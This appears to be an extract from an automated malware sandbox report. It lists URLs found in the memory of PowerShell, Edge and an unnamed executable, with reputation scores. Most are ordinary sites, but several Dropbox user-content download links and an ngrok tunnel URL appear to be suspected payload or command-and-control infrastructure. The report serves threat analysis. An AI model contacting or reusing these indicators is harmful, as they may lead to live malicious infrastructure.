https://api.login.yahoo.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2350155115.00000143CA8E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AABA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 00000002.00000002.2350155115.00000143CAC96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AADD0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anglebug.com/7489	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com	powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	msedge.exe, 00000005.00000002.2260062826.000017100000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2432337646.00002B8C0016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	powershell.exe, 00000010.00000002.2876110731.00000169AC718000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000006.00000002.3309462817.0000018079000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com/cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ng	powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxAB	msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	msedge.exe, 00000005.00000002.2260062826.000017100000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2432337646.00002B8C0016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ubi.com/es	933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/pithos/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://msn.com/	msedge.exe, 00000005.00000002.2261413126.0000171000394000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2432803650.00002B8C00300000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfohttps://permanently-removed.invalid/v1/issuet	msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/api/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ubi.com/de	933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://docsend.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7604	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7761	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7760	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6439	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
